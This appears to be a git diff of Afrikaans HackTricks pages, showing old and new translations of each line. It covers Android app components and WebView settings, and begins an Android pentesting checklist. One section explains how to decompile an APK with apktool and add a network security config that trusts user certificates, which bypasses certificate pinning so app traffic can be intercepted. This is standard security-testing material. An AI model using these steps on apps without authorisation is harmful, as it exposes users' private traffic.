In Android-toepassings is **aktiwiteite** soos skerms wat verskillende dele van die toepassing se gebruikerskoppelvlak vertoon. 'n Toepassing kan baie aktiwiteite hê, elkeen wat 'n unieke skerm aan die gebruiker voorstel.
Die **beginaktiwiteit** is die hoofingang na 'n toepassing en word geloods wanneer jy op die toepassing se ikoon tik. Dit word in die toepassing se manifestlêer gedefinieer met spesifieke MAIN- en LAUNCHER-intente:
Die **aanloopaktiwiteit** is die hoofingang na 'n toepassing, wat geopen word wanneer jy op die toepassing se ikoon tik. Dit word in die toepassing se manifestlêer gedefinieer met spesifieke MAIN- en LAUNCHER-intente:
```markup
<activity android:name=".LauncherActivity">
<intent-filter>
@ -269,17 +258,17 @@ Die **beginaktiwiteit** is die hoofingang na 'n toepassing en word geloods wanne
```
Nie alle programme het 'n beginaktiwiteit nodig nie, veral nie dié sonder 'n gebruikerskoppelvlak nie, soos agtergronddienste.
Aktiwiteite kan beskikbaar gestel word vir ander programme of prosesse deur hulle as "uitgevoer" in die manifest te merk. Hierdie instelling maak dit moontlik vir ander programme om hierdie aktiwiteit te begin:
Aktiwiteite kan beskikbaar gestel word aan ander programme of prosesse deur hulle as "uitgevoer" in die manifest te merk. Hierdie instelling maak dit vir ander programme moontlik om hierdie aktiwiteit te begin:
```markdown
<service android:name=".ExampleExportedService" android:exported="true"/>
```
Togang tot 'n aktiwiteit vanuit 'n ander app is nie altyd 'n veiligheidsrisiko nie. Die bekommernis ontstaan as sensitiewe data verkeerd gedeel word, wat kan lei tot inligtingslekke.
Togang tot 'n aktiwiteit vanuit 'n ander program is nie altyd 'n veiligheidsrisiko nie. Die bekommernis ontstaan as sensitiewe data op 'n onvanpaste manier gedeel word, wat tot inligtingslektes kan lei.
'n Aktiwiteit se lewensiklus begin met die onCreate-metode, wat die gebruikerskoppelvlak opstel en die aktiwiteit gereed maak vir interaksie met die gebruiker.
Die lewensiklus van 'n aktiwiteit **begin met die `onCreate`-metode**, wat die UI opstel en die aktiwiteit gereed maak vir interaksie met die gebruiker.
### Toepassing Subklas
### Aansoek Subklas
In Android-ontwikkeling het 'n app die opsie om 'n subklas van die [Application](https://developer.android.com/reference/android/app/Application) klas te skep, alhoewel dit nie verpligtend is nie. Wanneer so 'n subklas gedefinieer word, word dit die eerste klas wat binne die app geïnstantieer word. Die `attachBaseContext`-metode, as dit in hierdie subklas geïmplementeer word, word uitgevoer voordat die `onCreate`-metode uitgevoer word. Hierdie opset maak vroeë inisialisering moontlik voordat die res van die toepassing begin.
In Android-ontwikkeling het 'n program die opsie om 'n **subklas** van die [Aansoek](https://developer.android.com/reference/android/app/Application)-klas te skep, alhoewel dit nie verpligtend is nie. Wanneer so 'n subklas gedefinieer word, word dit die eerste klas wat binne die program geïnstantieer word. Die **`attachBaseContext`**-metode, indien geïmplementeer in hierdie subklas, word uitgevoer voor die **`onCreate`**-metode. Hierdie opstelling maak vroeë inisialisering moontlik voordat die res van die aansoek begin.
```java
public class MyApp extends Application {
@Override
@ -297,33 +286,33 @@ super.onCreate();
```
### Dienste
[Dienste](https://developer.android.com/guide/components/services) is **agtergrondoperasies** wat in staat is om take uit te voer sonder 'n gebruikerskoppelvlak. Hierdie take kan aanhou loop selfs wanneer gebruikers oorskakel na ander toepassings, wat dienste noodsaaklik maak vir **langdurige operasies**.
[Dienste](https://developer.android.com/guide/components/services) is **agtergrondoperateurs** wat in staat is om take uit te voer sonder 'n gebruikerskoppelvlak. Hierdie take kan voortgaan selfs wanneer gebruikers na verskillende toepassings oorskakel, wat dienste noodsaaklik maak vir **langdurige operasies**.
Dienste is veelsydig; dit kan op verskillende maniere geïnisieer word, met **Intents** as die primêre metode om dit te begin as 'n toepassing se toegangspunt. Sodra 'n diens begin word met die `startService`-metode, tree sy `onStart`-metode in werking en bly loop totdat die `stopService`-metode eksplisiet geroep word. As alternatief, as 'n diens se rol afhanklik is van 'n aktiewe klientverbinding, word die `bindService`-metode gebruik om die klient aan die diens te bind, en die `onBind`-metode word gebruik vir data-oordrag.
Dienste is veelsydig; hulle kan op verskeie maniere geïnisieer word, met **Intents** as die primêre metode om hulle te begin as 'n toepassing se toegangspunt. Wanneer 'n diens begin word met die `startService` metode, tree sy `onStart` metode in werking en bly loop totdat die `stopService` metode eksplisiet geroep word. Alternatiewelik, as 'n diens se rol afhanklik is van 'n aktiewe kliëntverbinding, word die `bindService` metode gebruik om die kliënt aan die diens te bind, wat die `onBind` metode betrek vir datadoorgang.
'n Interessante toepassing van dienste sluit in agtergrondmusiekspel of netwerkdata-ophaling sonder om die gebruiker se interaksie met 'n program te belemmer. Verder kan dienste toeganklik gemaak word vir ander prosesse op dieselfde toestel deur **uitvoer**. Dit is nie die verstekgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest-lêer:
'n Interessante toepassing van dienste sluit agtergrondmusiekspel of netwerkdata ophaling in sonder om die gebruiker se interaksie met 'n toepassing te belemmer. Verder kan dienste toeganklik gemaak word vir ander prosesse op dieselfde toestel deur **uitvoer**. Dit is nie die verstekgedrag nie en vereis eksplisiete konfigurasie in die Android Manifest-lêer:
```xml
<service android:name=".ExampleExportedService" android:exported="true"/>
```
### Uitsaai-Ontvangers
**Uitsaai-ontvangers** tree op as luisteraars in 'n boodskapstelsel, wat dit vir verskeie programme moontlik maak om op dieselfde boodskappe van die stelsel te reageer. 'n Program kan 'n ontvanger registreer op **twee primêre maniere**: deur die program se **Manifes** of **dinamies** binne die program se kode deur die **`registerReceiver`** API. In die Manifes word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings kan spesifiseer tydens registrasie.
**Uitsaai-ontvangers** tree as luisteraars in 'n boodskapsisteem, wat dit vir meerdere toepassings moontlik maak om op dieselfde boodskappe van die stelsel te reageer. 'n Toepassing kan 'n **ontvanger registreer** op **twee primêre maniere**: deur die toepassing se **Manifest** of **dinamies** binne die toepassing se kode via die **`registerReceiver`** API. In die Manifest word uitsendings gefiltreer met toestemmings, terwyl dinamies geregistreerde ontvangers ook toestemmings tydens registrasie kan spesifiseer.
**Intent-filters** is van kritieke belang in beide registrasiemetodes en bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die **`onReceive`**-metode van die ontvanger aangeroep, wat die program in staat stel om dienooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae batterystatus.
**Intent-filters** is noodsaaklik in beide registrasiemetodes, wat bepaal watter uitsendings die ontvanger aktiveer. Sodra 'n ooreenstemmende uitsending gestuur word, word die ontvanger se **`onReceive`** metode aangeroep, wat die toepassing in staat stel om dienooreenkomstig te reageer, soos om gedrag aan te pas in reaksie op 'n lae batteryalarm.
Uitsendings kan óf **asinkronies** wees, wat al die ontvangers sonder volgorde bereik, óf **sinkronies**, waar ontvangers die uitsending ontvang op grond van vasgestelde prioriteite. Dit is egter belangrik om die potensiële veiligheidsrisiko in ag te neem, aangesien enige program homself kan prioriteer om 'n uitsending te onderskep.
Uitsendings kan of **asinkronies** wees, wat al die ontvangers sonder orde bereik, of **sinkronies**, waar ontvangers die uitsending op grond van vasgestelde prioriteite ontvang. Dit is egter belangrik om die potensiële sekuriteitsrisiko in ag te neem, aangesien enige toepassing homself kan prioritiseer om 'n uitsending te onderskep.
Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`**-metode binne sy klas. Die kode van hierdie metode kan die ontvangde Intent manipuleer, wat die noodsaak van data-validering deur ontvangers beklemtoon, veral in **Geordende Uitsendings**, wat die Intent kan wysig of laat val.
Om 'n ontvanger se funksionaliteit te verstaan, soek na die **`onReceive`** metode binne sy klas. Hierdie metode se kode kan die ontvangende Intent manipuleer, wat die behoefte aan data-validasie deur ontvangers beklemtoon, veral in **Gereëlde Uitsendings**, wat die Intent kan wysig of laat val.
### Inhoudsverskaffer
**Inhoudsverskaffers** is noodsaaklik vir die **deel van gestruktureerde data** tussen programme en beklemtoon die belangrikheid van die implementering van **toestemmings** om data-sekuriteit te verseker. Dit maak dit vir programme moontlik om toegang tot data van verskeie bronne te verkry, insluitend databasisse, lêersisteme, of die web. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is van kritieke belang vir die beheer van toegang. Daarbenewens kan tydelike toegang verleen word deur middel van **`grantUriPermission`**-instellings in die program se manifest, waar gebruik gemaak word van eienskappe soos `path`, `pathPrefix`, en `pathPattern` vir gedetailleerde toegangsbeheer.
**Inhoudsverskaffers** is noodsaaklik vir **die deel van gestruktureerde data** tussen toepassings, wat die belangrikheid van die implementering van **toestemmings** beklemtoon om data-sekuriteit te verseker. Hulle maak dit vir toepassings moontlik om data van verskeie bronne, insluitend databasisse, lêersisteme, of die web, te benader. Spesifieke toestemmings, soos **`readPermission`** en **`writePermission`**, is noodsaaklik vir die beheer van toegang. Daarbenewens kan tydelike toegang verleen word deur **`grantUriPermission`** instellings in die toepassing se manifest, wat eienskappe soos `path`, `pathPrefix`, en `pathPattern` benut vir gedetailleerde toegangsbeheer.
Invoer-validering is van uiterste belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudsverskaffers ondersteun basiese bewerkings: `insert()`, `update()`, `delete()`, en `query()`, wat data-manipulasie en -deling tussen programme fasiliteer.
Invoer-validasie is van uiterste belang om kwesbaarhede, soos SQL-inspuiting, te voorkom. Inhoudsverskaffers ondersteun basiese operasies: `insert()`, `update()`, `delete()`, en `query()`, wat data-manipulasie en -deling tussen toepassings fasiliteer.
**FileProvider**, 'n gespesialiseerde Inhoudsverskaffer, fokus op die veilige deling van lêers. Dit word in die program se manifest gedefinieer met spesifieke eienskappe om toegang tot lêers te beheer, aangedui deur `android:exported` en `android:resource` wat na lêer-konfigurasies verwys. Voorsoorsigtigheid word aanbeveel wanneer dit kom by die deling van gidslys om die onbedoelde blootstelling van sensitiewe data te voorkom.
**FileProvider**, 'n gespesialiseerde Inhoudsverskaffer, fokus op die veilige deel van lêers. Dit word in die toepassing se manifest gedefinieer met spesifieke eienskappe om toegang tot vouers te beheer, aangedui deur `android:exported` en `android:resource` wat na vouer-konfigurasies verwys. Voorsoorsigtigheid word aanbeveel wanneer vouers gedeel word om die onbedoelde blootstelling van sensitiewe data te voorkom.
Voorbeeld manifest-verklaring vir FileProvider:
Voorbeeld manifestverklaring vir FileProvider:
```xml
<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
@ -345,37 +334,37 @@ Vir verdere inligting, kyk na:
## WebViews
WebViews is soos **mini-webblaaier** binne Android-programme wat inhoud trek van die web of van plaaslike lêers. Hulle loop soortgelyke risiko's as gewone blaaier, maar daar is maniere om hierdie risiko's te **verminder** deur spesifieke **instellings**.
WebViews is soos **mini-webblaaier** binne Android-toepassings, wat inhoud trek van die web of van plaaslike lêers. Hulle staar soortgelyke risiko's in die gesig as gewone blaaier, maar daar is maniere om **hierdie risiko's te verminder** deur spesifieke **instellings**.
Android bied twee hoof WebView-tipes:
Android bied twee hoof WebView-tipes aan:
- **WebViewClient** is goed vir basiese HTML, maar ondersteun nie die JavaScript-waarskuwingsfunksie nie, wat die toetsing van XSS-aanvalle beïnvloed.
- **WebChromeClient** werk meer soos die volledige Chrome-blaai-ervaring.
- **WebViewClient** is goed vir basiese HTML, maar ondersteun nie die JavaScript-waarskuwingsfunksie nie, wat die toetsing van XSS-aanvalle kan beïnvloed.
- **WebChromeClient** tree meer op soos die volledige Chrome-blaai-ervaring.
'n Sleutelpunt is dat WebView-blaaiers **nie koekies deel** met die toestel se hoof-blaaier nie.
Vir die laai van inhoud is metodes soos ````loadUrl````, ````loadData````, en ````loadDataWithBaseURL```` beskikbaar. Dit is noodsaaklik om te verseker dat hierdie URL's of lêers **veilig is om te gebruik**. Sekuriteitsinstellings kan bestuur word deur die ````WebSettings````-klas. Byvoorbeeld, deur JavaScript met ````setJavaScriptEnabled(false)```` uit te skakel, kan XSS-aanvalle voorkom word.
Vir die laai van inhoud, is metodes soos ````loadUrl````, ````loadData````, en ````loadDataWithBaseURL```` beskikbaar. Dit is noodsaaklik om te verseker dat hierdie URL's of lêers **veilig is om te gebruik**. Sekuriteitsinstellings kan bestuur word deur die ````WebSettings````-klas. Byvoorbeeld, deaktivering van JavaScript met ````setJavaScriptEnabled(false)```` kan XSS-aanvalle voorkom.
Die JavaScript "Bridge" laat Java-objekte met JavaScript interaksie hê en vereis dat metodes gemerk word met ````@JavascriptInterface```` vir sekuriteit vanaf Android 4.2 en later.
Die JavaScript "Bridge" laat Java-voorwerpe met JavaScript interaksie hê, wat vereis dat metodes gemerk moet word met ````@JavascriptInterface```` vir sekuriteit van Android 4.2 af.
Deur inhoudstoegang toe te laat (````setAllowContentAccess(true)````), kan WebViews by Inhoudsverskaffers uitkom, wat 'n risiko kan wees tensy die inhoud-URL's geverifieer word as veilig.
Die toelaat van inhoudstoegang (````setAllowContentAccess(true)````) laat WebViews toe om Inhoudsverskaffers te bereik, wat 'n risiko kan wees tensy die inhoud-URL's geverifieer word as veilig.
Om lêertoegang te beheer:
- Deur lêertoegang uit te skakel (````setAllowFileAccess(false)````) word toegang tot die lêersisteem beperk, met uitsonderings vir sekere bates, om te verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word.
- Deaktivering van lêertoegang (````setAllowFileAccess(false)````) beperk toegang tot die lêersisteem, met uitsonderings vir sekere bates, om te verseker dat hulle slegs vir nie-sensitiewe inhoud gebruik word.
## Ander App-komponente en mobiele toestelbestuur
## Ander Toepassingskomponente en Mobiele Toestelbestuur
### **Digitale ondertekening van programme**
### **Digitale Ondertekening van Toepassings**
- **Digitale ondertekening** is 'n vereiste vir Android-programme om te verseker dat hulle **egte outeurskap** het voordat dit geïnstalleer word. Hierdie proses maak gebruik van 'n sertifikaat vir programidentifikasie en moet deur die toestel se pakkettebestuurder geverifieer word tydens installasie. Programme kan **self-onderteken of deur 'n eksterne CA gesertifiseer** word, wat teen ongemagtigde toegang beskerm en verseker dat die program onveranderd bly tydens aflewering aan die toestel.
- **Digitale ondertekening** is 'n moet vir Android-toepassings, wat verseker dat hulle **eg geskryf** is voor installasie. Hierdie proses gebruik 'n sertifikaat vir toepassingsidentifikasie en moet geverifieer word deur die toestel se pakkettebestuurder tydens installasie. Toepassings kan **self-onderteken of gesertifiseer word deur 'n eksterne CA**, wat teen ongemagtigde toegang beskerm en verseker dat die toepassing ongeskonde bly tydens aflewering na die toestel.
### **Programverifikasie vir verbeterde sekuriteit**
### **Toepassingsverifikasie vir Verhoogde Sekuriteit**
- Vanaf **Android 4.2** maak 'n funksie genaamd **Verifieer Programme** dit vir gebruikers moontlik om programme vir veiligheid te laat nagaan voordat dit geïnstalleer word. Hierdie **verifikasieproses** kan gebruikers waarsku teen potensieel skadelike programme, of selfs die installasie van besonder kwaadwillige programme voorkom, wat gebruikers sekerheid verbeter.
- Vanaf **Android 4.2**, 'n funksie genaamd **Verifieer Toepassings** laat gebruikers toe om toepassings vir veiligheid te laat nagaan voor installasie. Hierdie **verifikasieproses** kan gebruikers waarsku teen potensieel skadelike toepassings, of selfs die installasie van uiters skadelike eenhede voorkom, wat gebruikers se sekuriteit verhoog.
### **Mobiele toestelbestuur (MDM)**
### **Mobiele Toestelbestuur (MDM)**
- **MDM-oplossings** bied toesig en sekuriteit vir mobiele toestelle deur middel van die **Toesteladministrasie-API**. Dit vereis die installasie van 'n Android-program om mobiele toestelle doeltreffend te bestuur en te beveilig. Sleutelfunksies sluit in die **afdwing van wagwoordbeleide**, **verpligte bergversleuteling**, en **toelaat van afstandsdata-uitvee**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
- **MDM-oplossings** bied **toesig en sekuriteit** vir mobiele toestelle deur die **Toesteladministrasie-API**. Dit vereis die installasie van 'n Android-toepassing om mobiele toestelle doeltreffend te bestuur en te beveilig. Sleutelfunksies sluit in **afdwinging van wagwoordbeleide**, **voorskryf van stoorversleuteling**, en **toelaat van afstandswisiging van data**, wat omvattende beheer en sekuriteit oor mobiele toestelle verseker.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -386,27 +375,16 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
***
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,50 +1,42 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
Sommige toepassings hou nie van sertifikate wat deur gebruikers afgelaai is nie, so om webverkeer vir sommige toepassings te ondersoek, moet ons eintlik die toepassing dekompilieer en 'n paar dinge byvoeg en dit weer saamstel.
Sommige toepassings hou nie van gebruikers afgelaaide sertifikate nie, dus moet ons eintlik die toepassing dekompilieer en 'n paar dinge byvoeg en dit weer kompileer om webverkeer vir sommige programme te ondersoek.
# Outomaties
Die instrument [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal die nodige veranderinge aan die toepassing **outomaties** maak om die versoek vas te vang en sal ook sertifikaatpennetrekking deaktiveer (indien van toepassing).
Die gereedskap [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) sal die nodige veranderinge outomaties aan die aansoek maak om die versoek vas te vang en sal ook sertifikaatpenning deaktiveer (indien enige).
# Handmatig
# Handleiding
Eerstens dekompilieer ons die toepassing: `apktool d *lêernaam*.apk`
Eerstens dekompilieer ons die app: `apktool d *lêernaam*.apk`
![](../../.gitbook/assets/img9.png)
Dan gaan ons na die **Manifest.xml**-lêer en rol af na die `<\application android>`-etiket en ons gaan die volgende lyn byvoeg as dit nog nie daar is nie:
Gaan dan na die **Manifest.xml**-lêer & skrol af na die `<\application android>`-tag & ons gaan die volgende lyn byvoeg as dit nie reeds daar is nie:
`android:networkSecurityConfig="@xml/network_security_config`
Voordat ons byvoeg:
Voor byvoeging:
![](../../.gitbook/assets/img10.png)
Nadat ons byvoeg:
Na byvoeging:
![](../../.gitbook/assets/img11.png)
Gaan nou na die **res/xml**-vouer en skep/wysig 'n lêer met die naam network\_security\_config.xml met die volgende inhoud:
Gaan nou na die **res/xml**-vouer & skep/wysig 'n lêer genaamd network\_security\_config.xml met die volgende inhoud:
```markup
<network-security-config>
<base-config>
@ -57,29 +49,22 @@ Gaan nou na die **res/xml**-vouer en skep/wysig 'n lêer met die naam network\_s
</base-config>
</network-security-config>
```
Stoor dan die lêer en keer terug uit al die gide en bou die apk weer op met die volgende bevel: `apktool b *gids-naam/* -o *uitvoer-lêer.apk*`
Dan stoor die lêer & tree uit al die gide en bou die apk weer met die volgende bevel: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Laastens moet jy net die nuwe aansoek **onderteken**. [Lees hierdie gedeelte van die bladsy Smali - Decompiling/\[Modifying\]/Compiling om te leer hoe om dit te onderteken](smali-changes.md#sing-the-new-apk).
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Laastens, moet jy net die **nuwe aansoek onderteken**. [Lees hierdie afdeling van die bladsy Smali - Decompiling/\[Modifying\]/Compiling om te leer hoe om dit te onderteken](smali-changes.md#sing-the-new-apk).
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* As jy wil sien jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repositoriums.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -4,27 +4,19 @@
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Werk jy vir 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslag](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslag](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
### [Leer Android beginsels](android-app-pentesting/#2-android-application-fundamentals)
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### [Leer Android-grondbeginsels](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [Basics](android-app-pentesting/#fundamentals-review)
* [ ] [Basies](android-app-pentesting/#fundamentals-review)
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
* [ ] [Toegangspunte](android-app-pentesting/#application-entry-points)
* [ ] [Inkompunte](android-app-pentesting/#application-entry-points)
* [ ] [Aktiwiteite](android-app-pentesting/#launcher-activity)
* [ ] [URL-skemas](android-app-pentesting/#url-schemes)
* [ ] [Inhoudsverskaffers](android-app-pentesting/#services)
@ -38,46 +30,51 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Int
### [Statiese Analise](android-app-pentesting/#static-analysis)
* [ ] Kyk vir die gebruik van [obfuskasie](android-checklist.md#some-obfuscation-deobfuscation-information), kyk of die foon gewortel is, of 'n emulator gebruik word en anti-manipulasie kontroles. [Lees hierdie vir meer inligting](android-app-pentesting/#other-checks).
* [ ] Sensitiewe toepassings (soos banktoepassings) moet kyk of die foon gewortel is en dienooreenkomstig optree.
* [ ] Soek na [interessante strings](android-app-pentesting/#looking-for-interesting-info) (wagwoorde, URL's, API's, enkripsie, agterdeure, tokens, Bluetooth-UUID's...).
* [ ] Spesiale aandag aan [firebase](android-app-pentesting/#firebase)-API's.
